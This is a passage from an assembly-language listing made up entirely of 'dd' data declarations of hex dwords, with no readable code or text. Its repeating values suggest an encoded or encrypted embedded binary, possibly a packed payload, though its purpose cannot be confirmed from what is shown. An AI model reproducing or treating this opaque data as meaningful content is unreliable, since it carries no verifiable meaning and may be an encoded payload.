1101CB33h, 8E5E4339h dd 8C1E7B8h, 53C30AE8h, 0D7647FAFh, 0ACA960FFh, 0BE8FC8Eh dd 0BA9C83BAh, 3F9E610h, 15BF29ABh, 0B819BBEh, 0D1A64939h dd 11062A71h, 8EB24339h, 0B52C2658h, 8D3652F0h, 3C646C08h dd 0B8E52603h, 423F437Dh, 0D1E747A5h, 49B9DF46h, 6112D984h dd 7 dup(6112F7BBh), 747AF7BBh, 3 dup(747AD984h), 0C7AD984h dd 199ED97Bh, 99D1D97Bh, 999F3EB2h, 0F1C73EB2h, 60F9BFFAh dd 7461BFFCh, 0CE7AD984h, 511ED97Bh, 7D21D984h, 99D1D984h dd 51203EB2h, 0D178FBD0h, 7A937CF3h, 6112D934h, 6112D9ABh dd 99A0BFFCh, 0D7203EB2h, 747AD97Bh, 7461C184h, 60F9C184h dd 747AD984h, 6112F704h, 7479BFFCh, 6112D984h, 6114417Ch dd 7461BFFCh, 747AD984h, 6112D984h, 60F9BFFCh, 60E1BFFCh dd 3 dup(60F9BFFCh), 0F078C184h, 747C3FFAh, 5155C184h dd 5155FBD0h, 60F9FBD0h, 60F9BFFCh, 0F461BFFCh, 0F47AF72Ah dd 60F9BF2Ah, 6161BFFCh, 60F9BFFCh, 7461BC23h, 60FAD984h dd 610777FCh, 60F9BFFCh, 610777FCh, 60E1BFFCh, 60F9BFFCh dd 65F63FFCh, 0B5B48Eh, 7F0C5D5Eh, 747AD9A0h, 7463D984h dd 0A41BF484h, 0A398F7BBh, 747AF7BBh, 2Ah dup(747AD984h) dd 0A119D984h, 9D7AD9A0h, 747AD9D3h, 0A5E29A84h, 0D2CF7897h dd 9097CDBh, 747BB981h, 0EE7AD984h, 5C9BB501h, 74896235h dd 0DBBD984h, 0D2CF76C7h, 747AD97Dh, 746F9DD3h, 0A1098A84h dd 0C47BB980h, 2E445B16h, 9DAC3CA4h, 0CF32D659h, 0F7AD97Bh dd 7AF62647h, 617AD97Bh, 0DBD6FB07h, 0B7384E7Ch, 0D2CF76C7h dd 0F03C6278h, 0CA9B3CA2h, 532CC0AEh, 72B6AEEBh, 11B3597Bh dd 0DC058B7Bh, 0F5DEF4AEh, 0C13D973h, 747AD9B2h, 8F7B9B3Eh dd 7B5E9B3Dh, 7A719B3Dh, 747C45D3h, 48B35984h, 75B3597Bh dd 99497F7Bh, 2EABE87Eh, 292B7A79h, 0C2142617h, 26D7F439h dd 8D144490h, 8BBA8B35h, 7384C60Dh, 747AD97Bh, 882E774Fh dd 857BB667h, 0DBB7B93Fh, 22FD87Ch, 96FDF7BFh, 74953E07h dd 0C8B0F784h, 0FE0E400Ah, 747AF500h, 8D372CFBh, 746F4B07h dd 969BB584h, 746FA0FEh, 97FB5984h, 0EE134482h, 0C97AF473h dd 0E623366h, 8B712EBEh, 747C40FEh, 99497F84h, 96497FA0h dd 7B8FD684h, 2DE1F484h, 4DD4D9EFh, 0F4483DD8h, 7C0A6234h dd 0F5E1F484h, 0D13D909h, 747AF50Bh, 7A7148FBh, 7A5D9B3Eh dd 746478D3h, 0DF83C084h, 127C81F9h, 0A814422Fh, 7BF56234h dd 0C213D984h, 26D7F439h, 0C1E14490h, 613F7E03h, 13EF4790h dd 747AF7FBh, 747AE2D3h, 42264484h, 7384E572h, 747AD97Bh dd 0F02E774Fh, 857BB65Dh, 0DB90B93Fh, 2833D87Ch, 61FDD64Fh dd 490F563Ch, 899900FCh, 46E0D862h, 0C7A184Dh, 10EB3046h dd 747AF7EBh, 102B9A79h, 8B7C3EBEh, 0CF7C830Dh, 101093F9h dd 1FFA8CAEh, 180D93FAh, 0C1E13D01h, 8D8A59C8h, 98560D34h dd 0F7BD661h, 0C13D9DAh, 747AD667h, 8E042B3h, 0A17AD984h dd 83676234h, 0F5FAD984h, 0D13D985h, 747AD978h, 4960B004h dd 7495BD35h, 4DD4D984h, 4DFAD6F9h, 7385D8F9h, 747AD97Bh dd 0AC2E774Fh, 137BB65Dh, 0DBD6B7FEh, 747B2E7Ch, 2A1A9A84h dd 0F47AD984h, 8B61F466h, 7461B7FEh, 97FB5984h, 3AE04482h dd 0E7AD984h, 81933EBEh, 747B2ED6h, 4971B004h, 7D486235h dd 0F5FAD984h, 0C13D9D8h, 747AD9A2h, 0A2CE6F35h, 560DF278h dd 0EA154308h, 0CE97598Bh, 980D6234h, 0C612D97Bh, 0A85532F8h dd 747AD7DAh, 0CE8A5984h, 8CC36234h, 9E12D97Bh, 980CDDF8h dd 0EFAD97Bh, 8D13447Dh, 0E7AD97Bh, 96623EBEh, 0C0E4175h dd 747AF71Eh, 0A6CE6F35h, 8B7A00FAh, 26EC520Dh, 9D8D0ADFh dd 0A454F7ABh, 5279CA84h, 5079E08h, 0AD134232h, 507AF47Bh dd 35719DF2h, 813444Eh, 0F7AD984h, 53897484h, 747AD942h dd 8C4A184Eh, 747C8CFEh, 11FB5984h, 0E1E0447Bh, 8B7AD97Bh dd 727BA20Dh, 747AD990h, 5382F75Ah, 9D9032C7h, 1183C36Ch dd 0E8DF16F9h, 8E34588Bh, 7B3CBD34h, 9552D984h, 980EBD34h dd 0AFFAD97Bh, 46FDD973h, 747B2BDAh, 963BC384h, 87273F7Eh dd 527AD97Bh, 989630C7h, 2764A27Bh, 666432C7h, 8BA1BD84h dd 747C9107h, 0BF264484h, 0F58EEE84h, 1026449Fh, 5B491B85h dd 0D5143BF8h, 4813447Dh, 947AF484h, 0B676C3E5h, 0D8D193Ah dd 0D2CF7876h, 407F58FAh, 85AB3CA9h, 0D2DC6109h, 7385D659h dd 747AD990h, 94789AA4h, 8F4063FAh, 8FF5FB02h, 747AD96Eh dd 0C676E8C7h, 0D744B645h, 77C9090h, 0F6C46E8Fh, 0BD8CB67Ch dd 0EE898E1Ah, 49C2CD01h, 8FE35B3Dh, 0F3903CA8h, 44D9D97Bh dd 0D240A516h, 6B6B5B3Ch, 747C3CA8h, 8D32D984h, 0E97AD97Bh dd 9E9303D7h, 0DDA59035h, 0ED1F9BB3h, 0E11AB1D1h, 0E7AD97Bh dd 69873A47h, 7BCA4485h, 0EA77CAA9h, 3796629Fh, 46843150h dd 0F77A0A0Eh, 9D7C637Ch, 747AD8D3h, 0CAFDB984h, 6FADBF46h dd 7153AE87h, 747B9387h, 0CA86A284h, 4A2864C2h, 0C8BE18F5h dd 3634243Ch, 3844F4AEh, 8B7C9009h, 7BAFD044h, 96FAB285h dd 888D3CA8h, 95B12DE8h, 66105834h, 68FE3394h, 0ADA38AFBh dd 0CB192E66h, 7448E257h, 85B1B7FCh, 49508F21h, 9AFCF386h dd 0BA4F6723h, 0C28389D3h, 38AC939Bh, 0C77CE099h, 64A948C5h dd 0C64EFCF0h, 3E33858Fh, 34E94350h, 4FA8E580h, 3C2247E0h dd 670C27EFh, 2E6CFCA1h, 16BB52A2h, 6CE64006h, 1975858Fh dd 1133858Fh, 0D8C3871Ch, 93EF9A06h, 1A2F4306h, 0E5AD1BB6h dd 5AFCF306h, 983A1397h, 72ADB917h, 33070AE4h, 1241FCA0h dd 3B2FCD42h, 2285F70Fh, 0F567E1E1h, 17E5C25Fh, 0BAC8858Fh dd 0F5B87D70h, 2FB52866h, 3655B578h, 0CB569193h, 95634C1Ch dd 5FB4800Ch, 184B9B25h, 7442858Fh, 599E3C82h, 0BB361h dd 183387A3h, 0A8C6FC8Fh, 6A41FCD9h, 992FCD39h, 0DFBB728h dd 469A1878h, 0F6358878h, 2710D91Ch, 614DA2E8h, 0BC4FC292h dd 0D5B615E1h, 0DDCAEFD4h, 22766BD8h, 7F7D3D19h, 51849623h dd 0BA216513h, 0E324962Ah, 2D4FF1BCh, 2D8B1794h, 0B07A962Ah dd 0A64FFBB7h, 9A1E6D94h, 0A64DA276h, 19329930h, 167FD39Dh dd 2C75BED6h, 0F8341F15h, 0C8A356BEh, 0F8611F14h, 75A4E450h dd 227532F8h, 0D5CC512Bh, 22751774h, 0DDBCA811h, 16C17B40h dd 1EE2CB9Dh, 3EE4D020h, 0C638D3CAh, 5A4DA276h, 2D4FDA31h dd 0DCCBC27Fh, 2274E01Ch, 0E63F3D85h, 2D50268Bh, 1CE9967Fh dd 1ED9F2FFh, 0D00C2D02h, 0D973FFh, 2D4DA2B1h, 2600E6Bh dd 232AF392h, 9ABAA275h, 8D3C6471h, 5C806B56h, 3B827506h dd 0D99283E7h, 0AD29686Ah, 0D8BB7553h, 0CCAA2F92h, 778C77E5h dd 0C22DA2A5h, 6135B020h, 0CC5FB072h, 227577E5h, 0E350C093h dd 0D4E33DD5h, 0A51BD115h, 99914105h, 45ABC02Eh, 0D8613780h dd 9C61ADE5h, 0CCAC798Ch, 936B17E5h, 6F5B7E9Dh, 6F6730D1h dd 0CC6162D1h, 9A1437E5h, 0ACE3DEDAh, 8AA0CD42h, 45D4282Eh dd 0CCAC7780h, 3661ADE5h, 0CCAC798Dh, 932117E5h, 748B7E93h dd 6F6730D1h, 0CC615FD1h, 99FA71E5h, 0EA70C1A6h, 920FA2FBh dd 0D95F4F0Ah, 46ABFC18h, 6900755Ch, 0CC617438h, 0CC61A68Dh dd 0C26E9EE5h, 59E008BCh, 3E147B8Dh, 459C47E7h, 3661AD80h dd 0CCAC798Dh, 932117E5h, 748B7E93h, 6F6730D1h, 0CCB93DD1h dd 99FA71E5h, 0DE48907Fh, 78952636h, 7855D515h, 4AC99CE6h dd 35A83C54h, 33173042h, 84EFF56Bh, 99D7A4BBh, 9C8A99BDh dd 92CF2EE8h, 0C4C99667h, 93C04D0Ah, 679637B4h, 21C2E378h dd 0FD3426A1h, 0E33DB8Fh, 12139991h, 0CB65E95Fh, 7E74770Ah dd 0A2470281h, 0E0DE4914h, 0D3D5B59Eh, 9E3EFE14h, 7F8B6D47h dd 769AACB0h, 709467C0h, 8E9948F8h, 32EEB88Dh, 7F07E2C0h dd 0E8CAAFF9h, 0AA2EA22Ah, 109321F8h, 5DD346Ch, 3C579032h dd 0E80C5A9Fh, 0E627DF26h, 94262C14h, 1D62C277h, 0E80C5A6Ch dd 48CF8BBBh, 0AA35B63Ch, 560C0FF8h, 0E80C1005h, 0E0A67A3Bh dd 0E3CDABD2h, 0E3A7D508h, 1CF1C408h, 8E1D186Ch, 0EA421E18h dd 7659D79Bh, 7D9949A6h, 87402C15h, 0A4456276h, 0B11FDF24h dd 76402C14h, 0BCDA3E22h, 10952C15h, 0E80C8DC6h, 0D62C5A3Bh dd 0B2725CADh, 90DD0C28h, 44640CBFh, 61B25A6Ch, 99A574AEh dd 94845D93h, 32E012Bh, 6FF1576Dh, 0A8EEB91Ah, 4C782BACh dd 0B652CF6Ch, 2AAE41D9h, 63016C9Fh, 196FF044h, 16F936ADh dd 59F67AFDh, 9164C0A6h, 0D076F6FEh, 7188D88Fh, 67E103D1h dd 0FB95F3F1h, 4BA4D682h, 0BEDC4072h, 0A6C425C2h, 0EE7EC27Bh dd 595C8361h, 530A1DD1h, 0CFC9D9A5h, 3F8650C8h, 0F7C2591Ch dd 0FE8CFBD3h, 0CF824D3Ch, 8C035361h, 0AF0F2266h, 1617F72Bh dd 81CD91DEh, 0B109338Eh, 0B99869Fh, 2328E818h, 0A64B4BB2h dd 0C3FBDFE2h, 764ED695h, 0FBA78504h, 489C32AAh, 344D0E22h dd 0C230A93Ah, 909835CDh, 48B437CDh, 35A27522h, 60F2712Fh dd 0FC5D53A0h, 12E1C9DDh, 8908D8ADh, 0C7184407h, 12FC8D1Dh dd 48B2D042h, 18210D97h, 0C7184407h, 12EF6ED5h, 489AEF02h dd 7EB41E13h, 74AB4407h, 48A70961h, 513AEE22h, 9D6016C4h dd 0E5F28DAEh, 75DE8DAEh, 0BA5BEE22h, 8BEDEC2Fh, 5D40AD3Bh dd 0CE3CA33Ch, 489AEFFEh, 0DB50C218h, 91831834h, 2A7412F3h dd 0AB68F9Eh, 0FE75C9Bh, 48B322AAh, 9F407B22h, 27CE7FFAh dd 2B691BFAh, 0DFA03C36h, 41C814C9h, 0C1A82F68h, 78E4BB33h dd 0CDCB13CCh, 489C28F1h, 0E863B522h, 9ECB10FAh, 0A10BEC02h dd 31CB1374h, 2F3F00BBh, 0F1493CAAh, 6AD83E2Ch, 0F47EE254h dd 1430A24Bh, 8A71322Ah, 0A7500012h, 156BE52Ch, 5C9F66ADh dd 65A8C382h, 927A28B4h, 28EB2C2Bh, 284FAA66h, 0D8401065h dd 71993E05h, 0D9A7D592h, 0E293C01Dh, 7E33F78Ah, 84F5EA76h dd 141DE420h, 0D76D434Fh, 0A2A7D59Ch, 7EC3CEC2h, 0B9015529h dd 6AA7DAEBh, 7CFCE3D3h, 0D9A7D879h, 0B0C5838Ch, 7089A9A9h dd 99612F47h, 0A49FABDEh, 0B191EF4Ch, 0C0F4D6F1h, 7F88BABBh dd 0D46E0329h, 143B364Fh, 0C2BCC27h, 0A84D1EF1h, 0D2635584h dd 6F79C9DDh, 63B313C6h, 7BEEEF15h, 0D9A7D6EEh, 0C4C801DAh dd 98B3ECBDh, 44316938h, 9EE61A05h, 283BEC34h, 7C7E6568h dd 50746425h, 53502C60h, 6ACC0AB0h, 0FC561263h, 9A38A5D5h dd 8022F9D7h, 0FAAE5529h, 3038A5D5h, 7FD1C7F8h, 0D5865529h dd 0F682DA35h, 0E6A9E413h, 0A78E49F0h, 8 dup(0A97F8C15h) dd 367F8C15h, 0A97F8F45h, 0C8F8EB28h, 6190B891h, 0A4251240h dd 11DE4286h, 9182B896h, 0DC212D40h, 0D2304294h, 387CD70Fh dd 0D0975682h, 0F27F8C15h, 9596DAB0h, 5258B891h, 0A4251240h dd 0A7CB9040h, 0EC7F8C15h, 109E35Eh, 3BEE0CABh, 23747C35h dd 0DFA395DEh, 0DD14BD02h, 0A81B6F12h, 0DD878C15h, 367F8C15h dd 0A97F8D63h, 905DCC8Eh, 537F8C71h, 0A8C3BE36h, 2C696C5Fh dd 0C83D7CFBh, 6190B891h, 0A4250B90h, 5CFBCADCh, 26711DDDh dd 91832BADh, 0DC525A36h, 26BB7586h, 5D1FF111h, 0A5EE906Dh dd 987F8C15h, 0A94C3654h, 0DD878C15h, 287F8C15h, 484EC298h dd 0F86D32A3h, 0A97F8F6Dh, 0D25E2E64h, 0F27F8C15h, 0B4EE3A52h dd 0AF696C5Fh, 0CED34FB7h, 0A7A047AAh, 4F858C15h, 0CB0C0AECh dd 46569F46h, 0BF59C5E1h, 0E890662Bh, 0A97F8C83h, 8225144Dh dd 72A16DE4h, 0C7B2340Ah, 2ACFD689h, 45A5847Ah, 0A980BF13h dd 0A97F6F12h, 0E8B08C15h, 0F6F4B4D3h, 16BA26h, 0F82192EEh dd 3C5E196Ch, 8E7F8C72h, 0CAB19BD3h, 5F200BB4h, 37DF3932h dd 1F998994h, 5773EC6Fh, 16788F59h, 0A7B147A9h, 0CAEB8C15h dd 0F8A958C0h, 1F6B0B6Ch, 0B50D7276h, 0D30D6490h, 6B5A97F5h dd 607402B7h, 0A97F8D31h, 83B03DA0h dd 0E09DD464h, 0A9322688h, 145F4015h, 0D09C0FD3h, 57446137h dd 544BD059h, 6440132Ch, 0AF1ADB88h, 54F7196Ch, 0BB3AE956h dd 1888F4B0h, 0FE9D46C1h, 2D6ABF3Bh, 0CAD40CF7h, 35041C92h dd 0A97F8BEDh, 0E1849115h, 0B77F8C15h, 9E00BDB0h, 0A9257A88h dd 8EFE5215h, 0F4886428h, 50041E02h, 8B946DD8h, 1A1CABF5h dd 0B7DA95B4h, 0BB7172F7h, 4561AD7Ch, 0CAE26053h, 4C786068h dd 0CAE263AFh, 9 dup(0CAE263C9h), 898454C9h, 9B7363C9h dd 9B347C2Ah, 8F57C700h, 2E540F2h, 0D6A6E13Ah, 535F7247h dd 0E5963CBDh, 0A0DDB45Eh, 0CB692799h, 70C4DF4Dh, 670CEA1Eh dd 48346FA0h, 670162A9h, 41B92766h, 62B65B6h, 8A1C315Eh dd 1FB8CCC5h, 9D93F817h, 7B10C68h, 9F857350h, 0BD051F2Bh dd 0A7C6AB76h, 8BF0F6F6h, 616CB1F3h, 0D7B55428h, 3FC46412h dd 58E205CFh, 0DDC2413Ah, 2E308B90h, 408676C1h, 0B2F0614Bh dd 0FE91EAE5h, 79A39D57h, 0B018FDBh, 0C6525B3h, 4CC7ED36h dd 0C25B8396h, 4A1314B8h, 9C6886Ch, 80A08EDAh, 57D4D657h dd 0A697F2CBh, 738020AAh, 0F96518C7h, 7B1449D2h, 0C754C7CEh dd 0BE8F63C9h, 0D4E5DA70h, 2D3F7620h, 77D4D807h, 38DF572Ch dd 0CAE23A25h, 55818C9h, 0F4E6CE26h, 86ADAC1Bh, 7CBFE269h dd 0DD38E7B8h, 5D6CF2D2h, 0B84B823Dh, 0DDF930EFh, 0F36D99E6h dd 5A9BCBF0h, 6518DE7Dh, 69E11177h, 5681A88Fh, 0DAA51EFFh dd 550F32A5h, 0D5E668CAh, 6209F2D2h, 369BA655h, 954FE679h dd 0DF70643Bh, 72A272B1h, 4D2157EBh, 9982BFD6h, 6781CF5Bh dd 9F39D4F4h, 0AC30F168h, 0FBBAD8E6h, 6AAD6A1Dh, 92A32595h dd 0DF1CAC8Ah, 0F01C55B0h, 460B6CAEh, 8A76E5CDh, 0DF68DAEDh dd 0B1CF2D2h, 7EE21E1Fh, 138EF727h, 0FFF52A53h, 0E4EC85CDh dd 9F12FF4Dh, 0C2C018C7h, 0A7E263AFh, 292A9366h, 1CFB8171h dd 0CF5A0AA3h, 25E34F1h, 0CADB6630h, 8892958Ah, 2D0C5ABBh dd 0B28F003Eh, 92AECB3Ah, 59E57921h, 2D0C5AB5h, 0D10E5C35h dd 3AB65441h, 809248E4h, 0E312FF4Eh, 0A2C022ABh, 0A7E26033h dd 362A9366h, 9555498Ah, 51D8F2D2h, 4866F8C0h, 6EC3151Eh dd 9783CD26h, 39807E7Dh, 871B330Ah, 343EBB18h, 326FF2CBh dd 3CD359D0h, 5609A123h, 0F8108C47h, 0F1D99E8Dh, 3B69B269h dd 8D604706h, 0E95CF134h, 1BDF5B82h, 466241B8h, 0B67C57AFh dd 0EE9DE53h, 2D891678h, 1FAAAB0Ah, 7B873017h, 0D224C15Fh dd 8C65F2D2h, 0D33FB8FCh, 8A0F22ABh, 71E65259h, 0CAE25CB4h dd 2DCFB29Ah, 6F1F88A9h, 9762B8FCh, 0A1E23767h, 933EBBC7h dd 326FF2D2h, 0F61A9A39h, 4A8FF2D2h, 0F1754667h, 55D0831h dd 0ABBDB86Dh, 69D73100h, 57C2B4C1h, 0E05CD7FDh, 0CFA49FE8h dd 1EBEC73Bh, 6284B993h, 0EF25D863h, 387D9E3h, 61DEC81Bh dd 231D5D3Fh, 3C6E44Dh, 84A4C10Dh, 8B4C7CCDh, 0EF25BB78h dd 5BAA6D41h, 8E81F00Fh, 6EB0CBBEh, 0A11EEE79h, 0DEBDDA89h dd 838B4295h, 0ED461BC0h, 0FB069422h, 5E2AA6B2h, 7C77AE6Ah dd 0FE03C752h, 0A26B6EDAh, 43E304BDh, 0FA19A7A9h, 0BE263A6h dd 0C7E3A020h, 0B56173C0h, 50F57943h, 48F71808h, 504CA262h dd 0CB92AA4Ah, 67B213A4h, 23093B5Bh, 906B5372h, 0A85FB04h dd 3387499Ch, 0D24ECFE0h, 8667BDF8h, 0E8755F89h, 498DA398h dd 31C2824h, 0FBDB6478h, 624BC04Bh, 5BA6A30h, 20262189h dd 0F7AC2989h, 0D31F7224h, 0F395402h, 0ABDC45E3h, 0D3FD5DC0h dd 24781614h, 0E1109142h, 0CAE26355h, 0C1D7B418h, 766B5326h dd 218F6EAFh, 0B2223BEDh, 0F191F0CFh, 0E86AB032h, 0AD0C5A0Fh dd 83113C74h, 0FBECDC17h, 71AAB967h, 4247FAC9h, 9E9EF8F0h dd 0CDA707E6h, 8A1D51C9h, 0C7A058BDh, 3BF2774h, 8CCB8CC9h dd 19177CDDh, 40E4E36Ah, 941C9F19h, 857F578Dh, 854FEEF7h dd 802E5Dh, 79469442h, 4E3449DCh, 6E20D03h, 0C24CD112h dd 69A97C09h, 0BFC11F54h, 7B1C9F18h, 0B39F98E1h, 0F36FFACEh dd 4945C5F0h, 2418E73h, 3B3EC24Ah, 32987C0Ah, 0D2831ED0h dd 4786B720h, 1433FF24h, 9EE889ECh, 9119A4E9h, 22D7A79Ah dd 0D5B67FBh, 4198789Dh, 0A4D497FDh, 7F9C898Ah, 0D0B600A7h dd 0DB1DA87h, 0AE26884Fh, 748CD1E2h, 0D830AFE3h, 0E8B0614h dd 0EC0028C3h, 0CAFD1C00h, 3C0E5E23h, 0B641E30Bh, 0C3E5A1FEh dd 1B3D30C2h, 0F5D8D338h, 75397774h, 0D3FD5F93h, 3D5B97BDh dd 0B530E44Dh, 189D6E1Dh, 0A0CDB033h, 0FD105986h, 2244E5D5h dd 0F5FBE73Ch, 0FB578506h, 40A3C48Bh, 1109546Ch, 0DE7F3B45h dd 0C7347583h, 432244BAh, 903A57E0h, 7CEF62B7h, 0D6D4DE6Ah dd 1B99FE2Eh, 0F8F1FA51h, 4406E6BFh, 2333D018h, 85EC8906h dd 0B72AAA3Eh, 2171C3D1h, 78667E9Eh, 0CAE25C2Bh, 0B44772D2h dd 8F777442h, 9B75716Bh, 0DB9A7262h, 7464D55Bh, 0D091889Eh dd 0E63BD17Fh, 6F58B85Eh, 8BF48949h, 3EB0CBBEh, 0CB09C735h dd 2EA663C9h, 0E697A8B4h, 0CB182F54h, 32027BC9h, 174563AFh dd 5D4CCD55h, 0CB177D08h, 747D63C9h, 0CAE25C12h, 11AEFCE0h dd 23CB848Ch, 21CD720Ah, 0C49CDE6Dh, 24931BA1h, 7750CDCCh dd 4F103762h, 0B9561509h, 0C08B1311h, 4CCCF9E6h, 0D2A7BE11h dd 5DE1DA45h, 1760819Ch, 0CCFA6258h, 8685318Ch, 4ACB848Ch dd 800F2DF4h, 0CAE25C12h, 2ED725BEh, 5965D871h, 0A812804Bh dd 0E3549E1Fh, 0BF74B975h, 0CB182D72h, 458EBCC9h, 4BE263C9h dd 0B0B00DFCh, 7E81DBAAh, 0F1C84041h, 0D04E5E41h, 0CA5C5818h dd 0ED3C56Fh, 629D6072h, 0BE13765h, 0C2AD7E4Dh, 83111693h dd 36EFDD01h, 0E77E605Ah, 0A1DBE728h, 0FA3615ADh, 1AF454FDh dd 2BDDBEB7h, 0B0C14307h, 0CFC4B9ABh, 0B0F1A7E1h, 19A17FA6h dd 21158AB9h, 0C9890705h, 62F6F32Bh, 9DFF780Fh, 33781B00h dd 66940F74h, 0D59648E7h, 9491D533h, 1B7A0F87h, 66F69FF3h dd 3B2EAEE0h, 46C5BFA5h, 0FE3872AEh, 4FDE9AB0h, 0A0B751C0h dd 0E85D9A62h, 88F5C1D4h, 4D49A927h, 0F24E92A1h, 0DA7E2918h dd 0F1E2D561h, 0CB182DC0h, 0D021C3C9h, 6473D7F8h, 0E31DBD2Bh dd 0CB17C632h, 0D20B98C9h, 0D85DB670h, 0D6A2FE9Bh, 4777B6D0h dd 5C8DF2D0h, 0D7A6F4FDh, 855E1B86h, 6DEBAFB5h, 0BDE26014h dd 367035C8h, 6D5DEA61h, 0CDCE7A77h, 2CE263C9h, 0CAB1CD98h dd 6AE263C9h, 0BE2208BCh, 9CF80C4Fh, 0E4F80CEBh, 0B4E263C8h dd 0A5B80B4Fh, 96ED5E12h, 4D7B6D43h, 50662EAEh, 0CBF13599h dd 6AAFA58Ch, 30662EADh, 0CBE42405h, 45F46337h, 0CAE25CB5h dd 855285E9h, 44BDBDC7h, 89AEED26h, 0CAE261FCh, 0EAB6D2DFh dd 15629763h, 0BF5B8D18h, 6FCD9C82h, 0F3AFA415h, 0B22DF2AFh dd 86EBAFF9h, 1439C773h, 64CF8D87h, 59E90568h, 0A9D1FF44h dd 4443B9BBh, 35E68B50h, 0C44DF91h, 7A4E1C18h, 0DCF4BAD3h dd 8E5FFB1Fh, 0B1BBD9B5h, 0C266A74Fh, 2C6EAF33h, 1F7C3CA2h dd 0DDFD1798h, 884EF40Eh, 967FB9DAh, 0FDA41E6Dh, 1038CD0Eh dd 0D09D2E43h, 685036A4h, 0D05E54D3h, 0CB0D9D53h, 3F7EC543h dd 686C7143h, 0C4C4F6D3h, 0C2DCC2E9h, 73B14196h, 0EEA066DCh dd 0C67130B4h, 6845F4DCh, 0F1682AB3h, 2E185573h, 2E16E15Dh dd 6845F4FFh, 8965121Ch, 4EE413Eh, 6F6EDDA9h, 0CF96D5A6h dd 6845F443h, 1E2407D3h, 9F45F4EBh, 6F24BE4Ah, 0DE7CF7DDh dd 0F8A41EA9h, 0E64406E7h, 8845F4EBh, 0FE6F76E9h, 0A590A059h dd 8990A0CCh, 9245F4E7h, 0EB827F5Eh dd 5987E3AEh, 62869708h, 3B209CE3h, 0C8A41EDBh, 7A744A76h dd 75C532A6h, 73B10ACAh, 0C69630B6h, 6845F4DCh, 56659DB3h dd 2E16DD96h, 2E16E15Dh, 68434969h, 0B406C513h, 0F9E3D4BDh dd 0FB1CF7E7h, 0DFA42427h, 0B4DC5BF1h, 3083494Bh, 0BBE17CF3h dd 0A7EB80E6h, 0E08F3BF9h, 3B12E3F1h, 410D5796h, 0F2AC9E5h dd 8539DEE5h, 0F88373FEh, 1E7E06D1h, 0D9760E2h, 82FD1890h dd 0DE2D0B82h, 0D47C045Ch, 21C4FA86h, 1443DCEDh, 36EA49D3h dd 207CAD13h, 0B78B8CBDh, 0D9C7A0D2h, 0E18EE9C1h, 0C5E0DE2Ah dd 0B98E6A4Dh, 0E0F63221h, 9F7CAA8Fh, 0DB3D22FFh, 0C14547F1h dd 3146DA1Fh, 0FDC2EDBFh, 0A72A4F1Fh, 46228E30h, 6A2AC5B2h dd 0A5843DC6h, 0A12F7B96h, 0A130D3B4h, 107DBB4h, 51EFBA0Fh dd 0A146BD35h, 0A82254Eh, 0EA5430C8h, 8FF15131h, 0EAE0BB96h dd 9FE6AC31h, 32472F12h, 0EBC142CFh, 988EF431h, 1824D95Ch dd 6DCFDD3Bh, 0F37D25C7h, 53AF69AEh, 6974E868h, 8616D632h dd 0D4F7B3AAh, 0C254A23Fh, 5A1DBF0Ch, 80AEA8ABh, 269E789Dh dd 5B10A835h, 0A2B12701h, 850E735Eh, 8C417F8Dh, 49894C21h dd 176ECAC2h, 0FA87CBFDh, 0DA16D5E5h, 0A146CD2Ah, 0BAAF82B4h dd 0D046DA1Fh, 0F9A9D1BEh, 62C7A432h, 0B564DBB5h, 0E50BB055h dd 55EFEA53h, 0FD524CD3h, 40DAE3E2h, 4C8AF923h, 2D4B3F5Ch dd 3B3A761Ch, 4C5E3AC8h, 5300F719h, 0A0EBD1EBh, 0FFCF2F0Dh dd 781F15FEh, 6335D7ECh, 56747194h, 4797A26Bh, 0EC5015FBh dd 9931AF7Fh, 77D25743h, 781F21EBh, 0A70D14EBh, 0C730CFA8h dd 0A520DEF0h, 11A8503Dh, 458DA73Bh, 13C941C5h, 510DFF6h dd 0DC1A5361h, 0CF4FBDC5h, 2074D6A8h, 2DDCE395h, 6D8885C7h dd 0D33357F1h, 1603332Fh, 7823BEBCh, 0A7D814EBh, 0AAC5FCBFh dd 0BFAF1D82h, 0ED0AA01h, 158669DFh, 1B1F14F2h, 76F8A109h dd 10666220h, 403CA6E9h, 7856F8D6h, 5A63293Bh, 87025230h dd 0B9962836h, 8184704Bh, 0BD49EC22h, 35D6912Eh, 631A9481h dd 0FBD9E3C5h, 34433BA6h, 0B4914AD6h, 39EE4242h, 0F0E80780h dd 633516E8h, 71EBA3EFh, 12B038F7h, 2234D36Fh, 631A521Ch dd 51B14E66h, 631A5204h, 1CD02110h, 51EB9ECBh, 51FE55EFh dd 631A51B4h, 93D024B1h, 7A068758h, 12CF3BAFh, 5A5E2956h dd 0CC3A5230h, 7FEF8831h, 52A796FCh, 635096D2h, 0E5675230h dd 6F232031h, 0ABE0C0Ah, 6B4ECF6Bh, 68111073h, 0C0C83A0h dd 0B444641Ah, 12CF3BA6h, 5A5E2956h, 0CC3A5230h, 7FEF8831h dd 52A796FCh, 5C1296D2h, 0E5675230h, 94FCF331h, 0EEC6F1A3h dd 0F0E7E916h, 142457B5h, 0F9FC6768h, 55443BA6h, 0D8B80ADFh dd 0B47BF459h, 5484C71Ah, 0AE8CE48h, 610570B4h, 0C41F630h dd 0B5F6E647h, 0A9D4FC2Ah, 0BC0E75D5h, 0D09F9B65h, 0AC50FB5Ch dd 36DB3AC4h, 0E2B70F88h, 7CFB02BAh, 387BC53h, 37994230h dd 0EAD103E2h, 30B75E6Ah, 0A2268BDDh, 4523536Bh, 9AF4E6FFh dd 78F2B5F9h, 11F19F4h, 84EFBF7h, 0AEEE44EAh, 22D7C900h dd 63125E2Ch, 6DD815A3h, 0B0EFC6D1h, 56139B90h, 1062329Fh dd 7B5CEFEBh, 31E54991h, 186A8A20h, 55714C18h, 9AF81EFBh dd 5B4DE524h, 1AB5C077h, 24BA500Dh, 4849457h, 51943A9Ch dd 20D64292h, 0DB849468h, 0D934B588h, 797ACB03h, 0C34E7AB3h dd 1AFEE436h, 78A868C7h, 1AFF3340h, 68D5DA60h, 49AE498h dd 2EDCD467h, 534E74E5h, 20545B04h, 3A6F1333h, 0D03F64E2h dd 2BACBBFh, 0BB12C2DCh, 0B6F24997h, 61AE147Ch, 5A050011h dd 0CE286BD3h, 83B02A6Eh, 1BEE4992h, 0F86A49ECh, 0E370D89Fh dd 482F06EAh, 16B69C91h, 231FC582h, 0F5527F9Fh, 44B5BBCh dd 0D19EDF38h, 7CFA5A98h, 0CCF2F30Ah, 0C0F2ECFAh, 7F9EDF6Eh dd 6F57101Bh, 0D2BD0C91h, 43A74F5Eh, 77C0FD97h, 1A0B60D3h dd 37321E4h, 719EDCF7h, 36AC7F37h, 8F1AC0CAh, 